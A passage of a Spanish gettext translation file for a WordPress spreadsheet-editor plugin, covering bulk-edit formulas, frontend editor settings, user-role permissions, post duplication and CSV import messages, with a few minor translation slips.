                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" 